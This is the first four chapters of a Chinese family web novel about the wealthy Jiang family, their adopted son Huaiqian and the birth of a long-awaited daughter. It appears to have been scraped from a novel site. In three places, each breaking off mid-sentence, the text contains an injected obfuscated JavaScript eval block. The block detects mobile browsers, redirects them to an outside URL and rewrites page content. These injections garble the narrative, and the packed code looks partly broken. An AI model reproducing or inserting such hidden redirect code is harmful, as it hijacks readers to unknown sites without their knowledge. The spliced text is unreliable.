《团宠千金成长史》 1. 第1章 想来无人不知,北城这地儿,多的是非富即贵的豪门世家。 可即使在这比比皆是不可小觑之家户的富贵名利场,蒋家的地位仍门庭赫奕、名列前茅。 富不是最傲的,百年家族积累的历史底蕴延续到今日,始终繁茂辉煌,才是足以称敬的关键。 蒋家如今的父辈有四房,谱系下人丁兴旺,育有6个孙儿。 其中老二蒋怀谦是四房领养的旧友遗子。 四房夫妇俩结婚5年,却还是没有生育计划,赶着春节家宴,老爷子望着旁儿打闹玩乐的一堆孙儿,还是忍不住多嘴了一句,殷切问道:“老四,四儿媳,你们俩今年还没有备孕的打算?” 蒋源不动声色地回答:“爸,这事儿讲求缘分,我和小英不急。” “爸,怀谦才跟了我们多久,我是想着,等他完全接纳了我们做他父母之后,再考虑要孩子。” 程与英声音里含笑而脆亮,徐徐地应和道。 蒋礼雄鼻子哼了一声,不赞同地摇摇头:“别扯怀谦当借口,他入我蒋家族谱已经三年!” 坐在蒋礼雄身边的宋玉春轻笑一声,往老伴儿碗里加了块光泽透亮的红烧肉,劝慰道:“小年轻有自己的想法,你就别掺和了。再说了,万一这一胎又是个儿子呢?” 蒋礼雄思考着这个可能,当真是觉得扫兴又有理。 “也罢也罢!我这得个乖巧小孙女的梦终究将成一大憾事!” 场上其他人都不免失笑。 三儿媳乐呵呵地笑言:“爸,您别这么快下定论!赶明儿年初几寻个得闲日子,我就带着与英上妙峰山娘娘庙去参拜参拜,一定求上天赐个女娃娃!” 程与英怒中带笑刮了她一眼,嗔她:“常蕙,就你多事啊!” 常蕙朝她吐吐舌头,肆无忌惮地笑着。 * 结束年夜饭,各房回了各院。 蒋源和程与英一人牵了蒋怀谦的一只手,一家人漫步在曲径通幽的古朴花园里。 不时,蒋怀谦仰头对二人说道:“干爸干妈,你们是因为我才不要一个自己的孩子吗?” 夫妇二人都愣住了。 怀谦的父母是夫妇各自在大学时的室友兼最好的朋友。说起来蒋源和程与英能认识,也得益于他父母的引荐。四个人刚20出头的时候,是多好的朋友啊。无奈那两人婚后意外亡于一场偶然的空难,只留下3岁的蒋怀谦。 许是幼年丧考妣,怀谦从小就早慧,显示出了与同龄儿童不一样的早熟稳重。也因为如此,蒋源和程与英才格外地担心他把情绪都自个儿藏起来。 程与英蹲下来,状似生气地捏捏他的鼻子:“说什么无厘头的话呢?一切缘由都是我不想生,可不是因为你!” 蒋怀谦肃正着一张幼年便可见其俊逸之色的小脸,认真地说道:“叔叔阿姨,你们放心,我不会因为你们新生了一个孩子就不开心的。我会对你们的孩子很好很好的。” 程与英一时有些凝噎,好笑地抱了抱他:“你呀,就是太小大人了。” 蒋源摸了摸他的头,也蹲下来,郑重其事地承诺道:“小谦,你记住了,即使我们的家里有了一个弟弟或者妹妹,爸爸妈妈始终都是在用真心爱你的,永远不会改变。” 蒋怀谦频繁地眨了眨眼睛,朗朗地应了一声“嗯。” 当晚,程与英与蒋源亲热时,便在他耳边温柔地征询道:“小谦都在我们身边这么久了,今天他还说了那样一番话,我们是不是可以考虑要个孩子了?” 蒋源蹙眉,说道:“我不想你受生育的苦,有怀谦一个孩子,也够了。” 程与英眨眨水光潋滟的眼,吐息温存而娇俏:“是,有一个儿子是不错,但是你不想要一个女儿吗?一个香香乖乖的小女儿,想想都很心软了。” 蒋源随着她的话语想象着那副画面,也不由得心里微动,忍不住将她抱紧了些,磁性的声音犹如钩子闹得人心痒痒。 “有你这样漂亮的妈妈,女儿一定也会很漂亮。” “那当然,我可是沪上最闪灵的名媛大美人儿,要是有女儿,绝对遗传我优良颜值!” “所以要吧,源哥儿,嗯?我们要一个女儿。”程与英攀住他的胳膊期待地说道。 蒋源但笑不语,安抚地抚摸着她的手背,面露考量之意。 “哎呀!”程与英不耐地锤了一下他的胸口,说道:“我不是一时兴起!我有提前了解过生孩子要面对的挑战,我愿意去尝试。源哥儿,我已经28岁了,你也已经30了,我们还带了怀谦那么多年,我觉得我们已经具备了成为一个合格父母的资质,心性成熟,经济自由,感情和睦。” “如果我们的女儿到来,我会让她做世界上最幸福的宝宝。” 蒋源叹了口气,望着说这番话时眸光中尽是憧憬的妻子,自是被她感染到。 “我怎么会不想要一个我们的孩子,只是生育对女性身体伤害太大,我....” 程与英打断他,说道:“所以更要趁着年轻赶快生!” 蒋源摇摇头:“这与年轻与否无关,生育对身体的伤害是不可逆的,你明白吗?” “源哥儿,我相信自己,更相信你。你一定会把我照顾好,对吗?我可以相信你吗?” 蒋源如何能抵挡得住她这样说,脑海中理智与情感互搏,好久好久,他才宠溺又无奈地笑了一声。 把妻子抱得更紧,蒋源感叹道:“你呀你,该是我命里的债主。要不说夫妻恩爱,小英,你于我有这么大的恩,我怎么能不好好待你。” “那你可得记好了,这辈子,都必须对我感恩戴德,必须对我,对我们的女儿,对怀谦,担负起家里顶梁柱的责任。” “小英,我向你发誓,我会竭尽全力,保护你,照顾你,不管是什么样的困难,我都会陪伴支撑你,永远给你一个幸福的家。” 程与 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16189319|181056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 英眼眶微红,揽住他,倾身吻了上去,在他耳畔厮磨:“那接下了,就看你的了。” 话说到这,蒋源心猿意马,翻身重新掌握了主导权。 * 程与英年仅28岁,已经是享誉世界的艺术珠宝设计师。她不仅是家族集团珠宝产品线的联合总裁及创意总监,更是自创品牌Vespera的主理人,出世后没几年就将其运作为炙手可热的世界级高奢珠宝品牌。她的收藏级作品凭借出色的艺术观赏性,频繁亮相苏富比、佳士得等珠宝拍场,被誉为是“博物馆典藏级的艺术珠宝”,是千金也难买。 嫁到北城后,她在这里成立了分公司,慢慢地也就转为了总部。 年假过后,程与英就马不停蹄地投入到工作中。3月有一个珍藏珠宝艺术展要办,她在欧洲连轴转了一个多月,加之饮食不规律,直接累到低血糖晕倒进了医院。 蒋源急的连夜搭了直升飞机前往欧洲,以为会见到虚弱的妻子,没想到进了病房,却发现她正状态良好地坐在床上望着窗外优美的巴黎街景发呆,嘴角衔着一抹意味深长的笑。 “怎么样,老婆?还有哪不舒服吗?” 程与英望着他笑,说道:“有一件你听了一定会高兴的事,你猜猜。” “什么?我现在没心情和你开玩笑,医生怎么说,你是不是又没好好吃饭?我从北城带了你爱吃的老汤酱脊骨和砂锅皮蛋瘦肉粥,还热着···” 程与英笑着闭了闭眼,打断他:“我怀孕了!” 蒋源愣住,好半天没有反应。 “源儿哥,我们有孩子了!” 蒋源一脸不可置信的模样,打横把她抱起来转了一圈,喜上眉梢,不可自胜。 “真的吗? 我、我一点没准备……太好了,小英!我们有孩子了!” 程与英抱住他的脖子,笑意不减地继续说道:“没想到这么准,一次就中,希望是个女宝宝!” 她双手合十,做出一个含笑祈祷的动作。 “等我结束工作回国,你陪我一起去上次常蕙说的那个什么庙,我们一起去诚心地拜拜,祈求老天给我们一个女儿!” 蒋源把她放回床上,握住她的手,弯起的嘴角始终没有放下:“好,听你的。” 短短几分钟,他已经在脑子里迅速地过了一遍照顾妻子的若干计划和细节,尤为严肃地说道:“老婆,怀孕事大,你有任何不舒服,一定要及时告诉我,知道吗?” 窗外白鸽飞过,程与英看着他,忽而就笑了,重重地点了点头。 两人相依偎着,程与英靠在丈夫的胸膛,欣喜地把手放在平坦的腹部,感叹到:“好神奇,这里已经有一个小生命了。” “源哥儿,从此时此刻开始,我好像便开始爱这个孩子了,它会是我生命的一部分,我会比任何人都欣喜它的诞生。” 蒋源亲亲她,把她搂紧:“而你,还有这个孩子,是我生命的全部。” 2. 第2章 在蒋怀谦早年的记忆里,他的生身父亲蒋骋是个娴熟的家庭主夫。 每天早上起来给妻子儿子做好早餐,送二人出家门上学上班,晚上接好妻子孩子,又回来做晚餐。其他家务活也随手做做,剩余的时间便是日夜宅在布满显示屏的房间里敲打他的键盘。 很多年后,蒋怀谦才明白父亲并非游手好闲,相反,他是那个年代闻名中外的顶级黑客。 母亲唐素秀则是一个板正严肃的人,工作日总是一套规矩得体的黑色西装搭配黑色半裙或长裤。说话、做事习惯于不苟言笑,讲究效率,但对儿子的教育却又始终留有那么一丝不易察觉的温柔。 即使母亲会开车,一家人每天的出行仍然是父亲代驾,开着低调的本田汽车往返于小区和市政厅之间,顺便在沿途的市第一幼儿园停留。 一家人的生活平平淡淡,但却不乏温馨与爱。 每年春节的时候,蒋叔叔和秋阿姨都会来拜访,偶尔他们一家也会前往北城与他们相聚。 酒后话谈之间,总角年岁的蒋怀谦大概能够听明白,自己的爸爸和蒋叔叔是大学室友,是最好的哥们。 “你们俩,结婚这么多年,还不打算要个孩子?”某次一起围炉吃着火锅时,他的爸爸摇着酒杯,打趣道。 蒋叔叔只是爱意浓浓地揽了揽身边的秋阿姨,笑道:“这事也得看缘分,再说了,这二人世界,也别有一番滋味,时不可待!” 他爸爸摇摇头,又说道:“行行行,你们俩这罗曼蒂克夫妇我也是佩服,碰一个!” “不过,既然你都认了我们家怀谦做干儿子,那你孩子定也是要认我做干爹的,要是刚好你生了个女儿,给两个孩子配个娃娃亲都使得!” 蒋叔叔只是笑,和爸爸碰杯,看起来对这一提议还颇为感兴趣,说道:“要是有这个缘分,我倒是求之不得!” 蒋怀谦仰头看着妈妈,妈妈只是轻轻一笑,摸了摸他的小平头,给他夹了个饺子,说道:“别听你爸爸胡诌,又喝醉了!” * 他五岁的那一年,父亲陪伴母亲出差外省,他被蒋源接到北城寄住了几天。 干爸为人温和宽厚,对他总是耐心异常。 在他们家城堡一般的房子里,干爸教他下棋、教他打高尔夫,教他游泳…… 同他一起玩乐,与父母分别的委屈倒也很快地散去。 只是爸爸妈妈这一去,便再没有回来。 空难来的令人震惊,在阳水高原上方遭遇了强气流而突发坠机,全机无一人生还。 他一人在房间里呆坐了许久,直到程与英进来心疼地抱住他,他才如梦初醒一般发泄出溃堤的悲伤与害怕,哭得上气不接下气。 程与英和丈夫对视,都在彼此眼中看到了怜惜。 两人忙前忙后为蒋怀谦生父生母办了葬礼,在常青山墓园买下两块风水最好的碑地,为二人立下墓碑。 再之后,蒋源和程与英办理了领养手续,带着蒋怀谦回到了北城的秋水庄园。 暑假的末尾,夫妇二人带着蒋怀谦回了蒋家本宅。 程与英牵着蒋怀谦的手,见他屏气以待的模样,摸摸他的脑袋,安抚地说道:“别害怕,这是爷爷家,以后我们会常来的,还有几个和你差不多大的哥哥弟弟,待会你就能见到了。” 他点头,悄悄地打量这个像是古装电视剧里的宅院一样的地方。 进了古色古香的中宅厅堂,中轴中央的太师椅上,坐了两位相貌不凡的中晚年男女,侧座则依次坐了几位年轻男子和女子。 蒋源进门微弯腰行礼,道:“爸爸妈妈,各位哥哥们,你们好,让你们久等了。” 蒋礼雄摆摆手,柔声道:“无碍。” 宋玉春稍稍伸长了脖颈,朝蒋怀谦招招手,说道:“你就是怀谦吧,过来给奶奶看看。” 程与英和蒋源鼓励地朝他笑笑,蒋怀谦迈步过去,向两位长辈说道:“爷爷奶奶好。” “哎,好好好,真是个好孩子。”宋玉春拍拍他的肩膀,从八仙桌上拿出一个红包,一个和田玉如意递给他。 “这是奶奶给你的见面礼,以后就把这里当成自己家。” 蒋怀谦收下,朝宋玉春弯腰道谢。 蒋礼雄则是不动声色地打量着这个小男孩,见他宠辱不惊,神态平稳,初印象倒是个看起来挺乖顺的孩子。 “爷爷就赠你一副文房四宝,以后你就是我们蒋家的孩子了。我定下的规矩,蒋家的孩子必须从小就跟着我学习书法棋艺,以后你也和璟书、向恒、斐轩一起,每周末来这里学习吧,可明白了?” 蒋怀谦点点头,依然弯腰道谢:“我明白了,谢谢爷爷。” 之后便是各位叔叔伯伯和婶婶伯母的送礼。 他也都礼数做足,不卑不亢地道谢。 蒋铮颇为满意地点头,说道:“小小年纪,举止沉稳,该当大事!” 蒋源和程与英相视一笑。 从蓉拉过两个儿子给他介绍道:“怀谦,这是我的两个孩子,大的这个叫做蒋斯承,比你大两岁,你就跟弟弟们一起叫大哥哥就好。小的这个叫做蒋斐轩,比你小了三岁,看看才刚刚会走路呢。” 一边的常蕙适时地说道:“你家二伯父家还有个弟弟,叫做蒋向恒,和你同龄,比你小了那么几个月。不过他跟着你二伯父住在军区家属院,也不常回来,下次有机会,你就能见到了。” 蒋怀谦应了常蕙一声,看着坐在蒋铮怀里的蒋斐轩,点头说:“斐轩弟弟”,又转向蒋斯承。 蒋斯承绅士风范地伸出手,说道:“你好,怀谦弟弟,我是斯承。” 蒋怀谦第一次和同辈人这般打交道,不愿被看低,也学着他握握手,说道:“你好,我是怀谦。” 一圈人认识结束,一拨人又带着蒋怀谦到了后院祖宅,供奉了祖先,将其名字正式写入了族谱。 再接着,是特意欢迎蒋怀谦的宴席。 一套流程下来,蒋怀谦感受到了电视剧里大户人家的生活方式,也恍惚间终于有了自己被收养了的实感。 * 双亲去世的阴影始终笼罩在他的心头,但蒋怀谦从未在外人面前展露过。 他比一般的孩子早熟很多,由于生活自理能力太过独立强大,完全让保姆失去了用处。 程与英听了保姆的阐述,担心地叹了口气,倒也没再要她继续事无巨细地追着蒋怀谦照顾。 开学前几日,程与英和蒋源专门带了蒋怀谦到商场购置了不少的东西,书包、文具、衣鞋……尽挑着最好的给他买。 最后额外的,又进了玩具店。程与英蹲下来对他说道:“小谦,有什么喜欢的,你就自己挑,好不好?” 蒋怀谦只是面不改色地说道:“干妈,谢谢你,但是不用了,我不喜欢玩玩具。” 程与英无奈地看了丈夫一眼。 蒋源拍拍蒋怀谦的背,朗声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16189320|181056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑道:“可是干爸喜欢,不如你帮我挑挑?” 蒋怀谦犹豫了片刻,还是点了点头,认真地挑选了一些玩具。 蒋源含笑跟在小家伙后面,看他选择拼图、积木、火车轨道、望远镜等等的玩具,不时和他探讨几句什么样的玩具最有趣。 最后拎了一揽子玩具去结账,蒋源提着一大袋东西,一手揉了揉蒋怀谦的后脑勺,说道:“走,回家,今天晚上吃完饭,你能陪爸一起玩不?测评测评哪些玩具比较有意思。” 蒋怀谦展颜一笑,点点头,面上总算有了些这个年纪的孩童该有的无邪。 程与英和蒋源相视一笑,一人牵了他的一只手,走出商场。 * 开学后,他转学到了北城市第一小学。怕他认生,蒋源特意让学校安排和蒋向恒一个班。 两人理所当然地选择了成为同桌。 小朋友的友谊来的纯粹自然,不消几日,便是形影不离的好朋友。 蒋向恒放学后的时间都在学习各种体育运动,有一天两人在操场上打闹到了私人管家来接的时候还意犹未尽,蒋向恒问他道:“怀谦,你要不要和我一起学击剑,这样我们就可以放学后也一起玩了。” 蒋怀谦摇摇头:“我不去了。” 蒋向恒遗憾地抿了抿唇,又说道:“那你也应该干点其他事情,我爸爸说了,人要在年少的时候就珍惜光阴锤炼自己,不能耽于享乐。” 蒋怀谦难得地因为一个同龄人的话思考起来,他真诚地对面前的人说道:“谢谢你,向恒,你的话很有启迪,我回去就和干爸商量一下。” “你是不是因为不好意思和四叔说,不然我帮你去说!” “.....不是。” 蒋向恒哼了一声:“我看出来了,就是。” “你既然都已经被收养了,为什么不直接叫我四叔爸爸?还绕口地叫干爸爸!” 蒋怀谦同他一路走着,目视前方,正色道:“我在心里早把蒋叔叔当成我的爸爸,但是我亲爸爸说过,蒋叔叔不久就会要一个孩子,我不能抢了人家的爸爸妈妈。” 管家跟在两位小少爷身后,心里为两个孩子老成的谈话而不自觉产生慈爱的心情。自从向恒少爷有了怀谦少爷作伴,总算是找到了一个能够聊得来的伙伴,不那么孤单了。 蒋怀谦的话通过管家传到蒋源夫妇二人耳中,程与英怜爱地叹息,不由得提议道:“要不,我们要孩子的计划就再缓缓?总归得等小谦在这个家里有了安全感再说。” 蒋源搂了搂她,认同地点了点头。 夜里,蒋怀谦敲响了蒋源书房的门。 “儿子?怎么了?快过来!” 蒋怀谦对于程与英和蒋源两人约好似的叫他“儿子”的做法仍然没有习惯,闻声不自在地红了耳根。 他走过去,被蒋源抱上了膝盖。 “干爸,我今天受到向恒的启发,放学后想学编程,可以吗?我可以用我爸爸留给我的钱,如果钱不够,您可以先借我我,等我长大赚到钱了,就还给你。” 蒋源佯装生气地看他。 蒋怀谦不明所以,有些紧张。 “在法律上,我是你的爸爸,儿子花爸爸的钱,天经地义。我这么辛苦地工作,不就是为了挣钱给你花吗?你以后要是再说和爸爸借钱,那爸爸可要生气的!” 蒋怀谦愣了一愣,许久才扬起一个笑容,说道:“我知道了,谢谢干爸!” 3. 第3章 临产将至,程与英的肚子越来越大。蒋源对怀孕的妻子是揣了无数个担心,就怕她哪摔了碰了,引得全秋水庄园上下都打起了十几分精神,就怕夫人哪里不顺。 8岁的蒋怀谦已经十分懂事了,他也受了蒋源的影响,对待程与英越发小心体贴。 已经是寒冷的冬天,程与英却还是喜欢坐到院子里晒太阳。 蒋怀谦抱了毯子过来,给她盖上,又学着蒋源把院子里的门关上挡挡风。 程与英笑了笑,牵着他的手放到肚子上,温柔地说道:“小谦,感受到了吗?这是妹妹在踢你呢。” 自从产检知道大概率是个女儿后,蒋家上下无一人不激动喜悦,生了那么多个糟儿子,终于迎来了个乖女宝。 蒋怀谦感受着手心里传来的胎动,一双眼睛熠熠生辉。 程与英看他的模样,悬着的心逐渐放下了。她疼爱地摸了摸蒋怀谦的后脑勺,说道:“以后,你就是她最亲的哥哥了,小谦期待吗?有一个妹妹和你一起长大。” “期待。”他字正腔圆地答道,小小的手掌仍然放在程与英的肚子上。 “真好。”程与英握着他的手,笑吟吟地说道:“妈妈有一个你这么俊的儿子,还有一个可爱的女儿,儿女双全,太幸福了。” 那个词在蒋怀谦嘴边绕了许久还是说不出,他望着程与英温柔的面态,抿了抿唇,用一种很极为认真的语气说道:“您放心,我一定会好好照顾妹妹,当好一个负责任的哥哥的。” 程与英刮刮他的小鼻头,笑:“这我当然知道啦,我们怀谦这么好的孩子,妈妈特别放心。” * 这一年的12月30日,程与英发动时已经将近天明,蒋源早已陪护在医院,看着妻子脸色痛苦地被推进手术室的瞬间,心如刀绞,恨不得替她去受这个痛。 蒋家的二老和其他二房,不顾夜深,急匆匆地赶来了,齐刷刷地出现在私人医院的VIP住院部。 蒋铮安慰地拍了拍蒋源的肩膀,说道:“四弟,别紧张,一定会母女平安的。” 蒋源点点头,心里却还是打鼓似的,在手术室门口徘徊个不停。 早上七点,蒋怀谦早早被保姆带了过来,见到坐在手术室门口焦心的蒋源,他快步过去,无声地握住了他的手。 蒋源扯出一抹笑,说道:“小谦来了,辛苦你这么早起来了,困不困?要不要去里面睡会?” 蒋怀谦摇摇头,在他身边坐下。 “叔叔,你别担心,阿姨和妹妹都会平安的。” 蒋源点点头,揽了揽他的肩膀。 一直到早上9点,手术才安然结束。 程与英和宝宝一起被推回了病房,蒋源连忙上去握住了程与英的手,眼含热泪。 “老婆,辛苦你了。” 程与英摇摇头,眼里也是染了些泪意,她扯了扯唇角,看起来虚弱,但精神状态还算不错。 “让我看看孩子。”她说道。 护士小心地把孩子从婴儿车上抱过来,放到程与英怀里。 小丫头刚刚出生,小小一团,脑袋圆滚滚的,脸蛋还有些皱巴,一双眼睛却明亮圆润地像黑葡萄似的,灵气得紧。 此刻眨巴着眼睛,颇为好奇地看着周围的人,竟是一点都不怕这陌生的环境。 蒋源一副丢了魂的神情看着这个小家伙,心里被一种从未体验过的、难以言喻的温情爱意给充盈着。 这是他的女儿,这样一个小小的人,是他与妻子的血脉延续! 他动情地低头亲了亲女儿的额头,不知何时,连自己也没察觉到眼里已经泛起了泪花。 爷爷蒋礼雄同样老泪纵横,看着保温仓里的乖孙女,一颗心像春水一样化了,说道:“我们蒋家终于有一闺女了,太好了!太好了!” 奶奶宋玉春倚在宋礼雄旁边,也一脸温柔地看着孙女。 她这一生为蒋家生养了4个男孩,和丈夫一样,一直盼着有个女儿。子辈不成,便盼望孙辈,谁知前三个儿子的孩子也都是儿子,一直到老四,才终于有了个女儿。 一时之间,病房内喜气洋洋,小小一个婴儿保温仓周围被围得满满当当。 “她怎么不哭呢?”程与英问道。 护士在一边调试设备,闻声说道:“你们家这女娃性格乖得嘞,刚从你肚子里出来也不哭闹,就这样盯着人看,小机灵鬼一个!” 蒋源笑了,喜爱地伸出手指,那小家伙就伸手去捉,他惊喜地说道:“可不是嘛,我们小婧宝宝一看就是个聪明的孩子!” “来,怀谦,过来,来看看妹妹。” 蒋怀谦在蒋源的招呼下穿过围在床边的大人,走近,看到了窝在程与英怀侧的小人。 她直直地盯着他看,似是在好奇地打量,好一会儿,小婴儿无声地笑了。 蒋怀谦愣了愣,心底淌过酥酥麻麻的热流。 后来他一辈子都没能忘记这个时刻,他初见她,他从此成为了她最亲近的哥哥。 迟疑地在蒋源的帮助下,蒋怀谦生疏而小心翼翼地抱住了她。 软软的,稚小的,说不出地让人心里喜欢的感觉。 “妹妹,我是哥哥。”蒋怀谦看着她,低低地说道。 另一边,老三家的两个双胞胎今已两岁,蒋熠进门后便甩开了母亲常蕙的手,小跑着凑到奶奶旁边,一脸兴奋地去看。 蒋澈见那烦人弟弟先去了,也颇有些按捺不住,向妈妈看去。 常蕙噗嗤一笑,蹲下来捏了捏蒋澈的脸,说道:“去吧,去看看小妹妹。” 蒋澈走过去,就听到蒋熠转过来对他说:“她长的很丑,哥你最好别看。” 蒋礼雄一个巴掌拍了拍蒋熠的屁股,生气道:“你小子再好好看看,哪里不好看了,明明漂亮极了!” 蒋熠委屈地瞪了瞪爷爷,转身去抱奶奶。 宋玉春揉了揉他的屁股,温声安抚道:“阿熠听话,确实不该这样说妹妹。妹妹刚刚出生,等她再长大一些,就会十分好看了。” “真的吗?”蒋熠半信半疑,却见那透明箱子里的奶娃娃忽然看向了他,眼睛像两颗玻璃珠似的澄亮。 他顿时息了声音。 一边的蒋澈安静地趴在保温仓前看了好一会儿,接过奶奶的话说道:“我觉得妹妹很好看。” * 程与英在医院观察修养了几天,确认身体状态良好了,才打算回家中静养。 至于去哪,一家人划分出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16189321|181056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了不同的观点。 怀里的奶团子才几天就长开了些,皮肤像剥了壳的鸡蛋似的吹弹可破,一双大而清澈的眼睛一动不动地、好奇地盯着头顶上抱着自己的人。 蒋礼雄搂着孙女,嘴角乐呵呵地就别掉下来过,这乖乖孙女真是怎么看都看不够! 他对儿子媳妇说道:“自然是回大宅去,照顾的人多,经验足,更仔细,更周全。要是回你们俩那小地方去,什么都不懂,对与英恢复不好。” 程宣年在亲家旁边踱步,对他把外孙女占得这样厉害的行径不满地吹胡子瞪眼:“我说亲家,你好歹给我这个外公抱抱!” “你刚刚不是已经抱过了吗?”蒋礼雄语气带怨道。 “我就抱了几分钟,就又被你抢走了!” “呔!老触气额!”程宣年轻斥了一声,转头对女儿说道:“与英,还是和爸爸妈妈回沪上,我让私人飞机准备好,保准在飞机上一切稳妥!你在爸爸妈妈身边,我们也好放心,这对你坐月子恢复才是真的好!” “亲家,这可不兴,这舟车劳顿的,一大一小都经受不住。”宋玉春说道。 蒋礼雄:“我家孙女和儿媳,不在北城养着,回沪上去是什么意思?我不准!” 程与英头大地看着两家长辈,扯了扯蒋源的衣袖,给他打着眼神暗号。 蒋源从女儿那把目光移出来,摆摆手平息两方争论:“爸爸妈妈们,我知道你们都好心好意,但是我和小英打算就回秋水庄园修养,你们多尊重,好不好?” “与英要回秋水庄园也行,那我们把婧丫头带回祖宅照顾,也给你们省心!”蒋礼雄声音不高,却像沉甸甸的玉石,每个字都带着不容置疑的质地。 程与英猛地握住一边蒋怀谦的小手,一大一小皆是心下一跳。 “爸!”蒋源哭笑不得:“孩子刚刚出生,你做爷爷的再疼惜,也得先让我们做父母的和孩子建立起信任不是?” 蒋礼雄向来说一不二,一双眼眸异常锐利清亮地扫视过去,下了定论:“孩子都还没意识,不用着急。你先照顾好与英,等她身体恢复,再来祖宅接孩子。” “嘿你这不讲理的!人家小夫妇的孩子,你争着照顾什么?”程宣年不满地一拍掌,又说道:“大不了我们也暂时不回沪上了,我就留在北城,给我女儿搭把手,替她照顾小婧!” 蒋礼雄轻嗤了一声,怀里抱着昏昏欲睡的孩子,手上的动作尤是柔缓,话里却带了凉意道:“随你留不留,反正今天孩子我是要带走的。与英,你放一百个心,我一定把小婧照顾好。你好好休息,等你身体恢复了些,我再带着她来看你。” “爸!”蒋源急了,连忙揽住欲要走的父亲:“孩子刚出生,还得喝母乳,你把婧儿带走了,对她不是一件好事呀爸!” “我确实是没考虑到这一茬。”蒋礼雄沉吟了一声,不舍地看着怀里的孙女,勉强妥协:“行吧,那你可得把我孙女照顾好了,要是出了问题,我就带在身边自己教养!” “瞧您说的,这可是我亲闺女!” 终于从父亲的手里接过了女儿,蒋源心下一松。 就凭蒋礼雄那渴求一个孙女的劲儿头,要是真被他爹带到主宅去养,估计是难再带回来了。 4. 第4章 产后身体虚弱,回家后,程与英白日里还是以卧床休息为主,睡觉,看剧,欣赏宝宝的睡相。 精神好的时候,会在蒋源的陪同下下楼走走。 除了必要的哺乳时刻,她只用好好休息,家里和宝宝的一切事宜,都有蒋源在井井有条地处理着。 年末公司事务很多,但若不是必要场合需要出席,蒋源一切工作都在家进行,安心陪着老婆康复,照顾新生的女儿。 巨大的路易十六风格大床上,程与英半倚在层层叠叠的羽绒靠枕之中,微微垂首,目光温柔地落在臂弯中襁褓里的女儿脸上。 “婧儿宝宝,怎么这么可爱呀?知道我是谁吗?我是你宇宙第一美丽智慧的无敌妈咪~” 她伸出手指,极其轻柔地碰触了下婴儿娇嫩的小鼻头,引来婴儿一声细微如叹息的哼唧。 程与英唇边那抹笑意便加深了,眼底又漾起更温柔的水波。 “源哥儿,怎么办啊,我们的女儿实在太可爱了,怎么看都看不够。” 离床不远,临窗的位置临时被安置了一张用料极其考究的胡桃木书桌,供蒋源守着妻女办公。 他正凝神于屏幕上的复杂图表,闻言短暂抽出思绪,望着这一幕妻女同在的温馨场面,不由得软了心思。 “这还用说?有一个宇宙第一美丽智慧的无敌妈咪,我们的女儿自然是宇宙第一可爱。看来你的美貌基因,这次是压倒性胜利了。” 恰好这时小婴儿发出一声细细弱弱的啼哭,蒋源起身走向旁边那张精致的小圆几,上面早已备好了温奶器、消毒过的奶瓶和奶粉。他熟练地操作起来,倒水、量取奶粉、摇匀、试温,把奶瓶递到女儿嘴边。 小婴儿本能地寻找到奶嘴,急切地啜吸起来,哭声止息,只剩下细微的吞咽声。 程与英看闺女的任何一个动作都觉得可爱,此番又忍不住捏了捏她肉嘟嘟的脸,亲了一口,感叹:“啊,太可爱了,这么小一只,像个洋娃娃的小玩具似的。” 蒋源撑着手臂将妻女笼在怀里,亲了亲妻子的鬓侧,同样心下动容:“这样的日子真幸福,每天陪在你和女儿身边。” 程与英摩挲了几下他的手臂,说道:“辛苦你了,源哥儿。这阵子晚上要给婧儿喂奶,都没能睡好。要不就交给保姆呢?你也得好好休息,看你黑眼圈都出来了。” 蒋源握住她的手放到嘴边亲了亲,笑意温和:“不辛苦,我甘之如饴,自己的闺女,我可不想假借别人之手照顾。” * 夫妇俩温馨地度过一天,在傍晚时分下楼准备用晚餐。不多时,蒋怀谦放学回来了,身后还跟着蒋向恒。 -“叔叔阿姨,我回来了。” -“四叔四婶,我也回来了!” 蒋源摸摸怀谦的脑袋,又惊奇地看向蒋向恒,笑道:“向恒怎么今天来玩了?你爸呢?” “我爸最近出差了,我都一个人在家。”蒋向恒朗声答道,目光暗自巡视了一圈周围,又说道:“我听怀谦说四叔四婶生的妹妹特别可爱,我就好奇想来看看。但是我爸爸说得等到办宴席的时候才能见,我问他是什么时候,他懒得搭理我,直接把我电话挂了。我实在等不及了,就央求怀谦带我过来,四叔四婶你们不会怪他吧?” “说什么话?怎么会怪他?” 蒋源蹲下来,好笑地拍拍蒋怀谦的肩膀,卯足了耐心说道:“怀谦,以后可不能有这种想法。这是你的家,你想带朋友回家都没问题,更何况向恒和你是堂兄弟,更是再自然不过的事。爸爸妈妈怎么会怪你呢?” 蒋怀谦也为自己的那点心思感到羞愧,神色落寞了一瞬,又连忙郑重其事地点头:“我知道了,谢谢干爸。” 蒋源温和地笑了笑。 